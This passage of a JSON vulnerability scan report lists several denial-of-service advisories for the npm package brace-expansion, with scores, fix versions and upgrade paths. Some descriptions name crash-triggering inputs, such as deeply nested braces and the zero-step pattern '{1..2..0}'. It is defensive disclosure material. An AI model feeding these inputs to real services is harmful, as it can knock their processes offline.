]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-08-03T18:50:29.684875Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-08-03T16:35:32Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-08-03T18:50:29.862827Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T21:42:52.694864Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"@npmcli/arborist@8.0.5",
"pacote@19.0.2",
"sigstore@3.1.0",
"@sigstore/tuf@3.1.1",
"tuf-js@3.1.0",
"@tufjs/models@3.0.1",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@10.9.8",
"@npmcli/arborist@8.0.5",
"pacote@19.0.2",
"sigstore@3.1.0",
"@sigstore/tuf@3.1.1",
"tuf-js@3.1.0",
"@tufjs/models@3.0.1",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244948",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Gareth Jones",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.20",
">=2.0.0 <2.1.6",
">=3.0.0 <3.0.8",
">=4.0.0 <5.0.11"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.20",
"2.1.6",
"3.0.8",
"5.0.11"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102278"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-qhr7-859c-m2p7"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:28:47.469361Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:22Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:28:47.672458Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-09T05:49:37.555149Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"@npmcli/arborist@8.0.5",
"pacote@19.0.2",
"sigstore@3.1.0",
"@sigstore/tuf@3.1.1",
"tuf-js@3.1.0",
"@tufjs/models@3.0.1",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@10.9.8",
"@npmcli/arborist@8.0.5",
"pacote@19.0.2",
"sigstore@3.1.0",
"@sigstore/tuf@3.1.1",
"tuf-js@3.1.0",
"@tufjs/models@3.0.1",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244952",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"baeseungwon1010",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.19",
">=2.0.0 <2.1.5",
">=3.0.0 <3.0.7",
">=4.0.0 <5.0.10"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.19",
"2.1.5",
"3.0.7",
"5.0.10"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p",
"title": "Maintainer's Advisory"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102276"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-6j4f-fj2g-mc7p"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:36:51.075985Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:21Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:36:51.235635Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-29T19:40:12.310972Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"@npmcli/arborist@8.0.5",
"pacote@19.0.2",
"sigstore@3.1.0",
"@sigstore/tuf@3.1.1",
"tuf-js@3.1.0",
"@tufjs/models@3.0.1",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@10.9.8",
"@npmcli/arborist@8.0.5",
"pacote@19.0.2",
"sigstore@3.1.0",
"@sigstore/tuf@3.1.1",
"tuf-js@3.1.0",
"@tufjs/models@3.0.1",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-15789759",
"title": "Infinite loop",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Subhash Dasyam"
],
"semver": {
"vulnerable": [
"<1.1.13",
">=2.0.0 <2.0.3",
">=3.0.0 <3.0.2",
">=4.0.0 <5.0.5"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.13",
"2.0.3",
"3.0.2",
"5.0.5"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n",
"epssDetails": {
"percentile": "0.47050",
"probability": "0.00613",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-33750"
],
"CWE": [
"CWE-835"
],
"GHSA": [
"GHSA-f886-m6hf-6m8v"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-03-27T07:45:56.244707Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-03-26T18:29:42Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-03-27T07:45:56.429154Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T02:01:42.918000Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmdiff@7.0.5",
"pacote@19.0.2",
"sigstore@3.1.0",
"@sigstore/tuf@3.1.1",
"tuf-js@3.1.0",
"@tufjs/models@3.0.1",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@10.9.8",
"libnpmdiff@7.0.5",
"pacote@19.0.2",
"sigstore@3.1.0",
"@sigstore/tuf@3.1.1",
"tuf-js@3.1.0",
"@tufjs/models@3.0.1",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-17706650",
"title": "Inefficient Algorithmic Complexity",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Unknown"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.7"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.7"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n",
"epssDetails": {
"percentile": "0.29069",
"probability": "0.00364",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-13149"
],
"CWE": [
"CWE-407"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-06-30T11:38:19.757696Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-06-30T11:25:01Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-06-30T11:38:19.961909Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-08-24T14:04:38.442182Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmdiff@7.0.5",
"pacote@19.0.2",
"sigstore@3.1.0",
"@sigstore/tuf@3.1.1",
"tuf-js@3.1.0",
"@tufjs/models@3.0.1",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@10.9.8",
"libnpmdiff@7.0.5",
"pacote@19.0.2",
"sigstore@3.1.0",
"@sigstore/tuf@3.1.1",
"tuf-js@3.1.0",
"@tufjs/models@3.0.1",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18313044",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"bnbdr"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.8"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.8"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n",
"epssDetails": {
"percentile": "0.49122",
"probability": "0.00643",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-14257"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-mh99-v99m-4gvg"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-07-26T09:53:40.727617Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-07-23T15:49:26Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-07-26T09:53:40.907374Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-16T14:02:43.227595Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmdiff@7.0.5",
"pacote@19.0.2",
"sigstore@3.1.0",
"@sigstore/tuf@3.1.1",
"tuf-js@3.1.0",
"@tufjs/models@3.0.1",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@10.9.8",
"libnpmdiff@7.0.5",
"pacote@19.0.2",
"sigstore@3.1.0",
"@sigstore/tuf@3.1.1",
"tuf-js@3.1.0",
"@tufjs/models@3.0.1",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18512280",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Alessio Della Libera"
],
"semver": {
"vulnerable": [
"<1.1.18",
">=2.0.0 <2.1.4",
">=3.0.0 <3.0.6",
">=4.0.0 <5.0.9"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.18",
"2.1.4",
"3.0.6",
"5.0.9"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
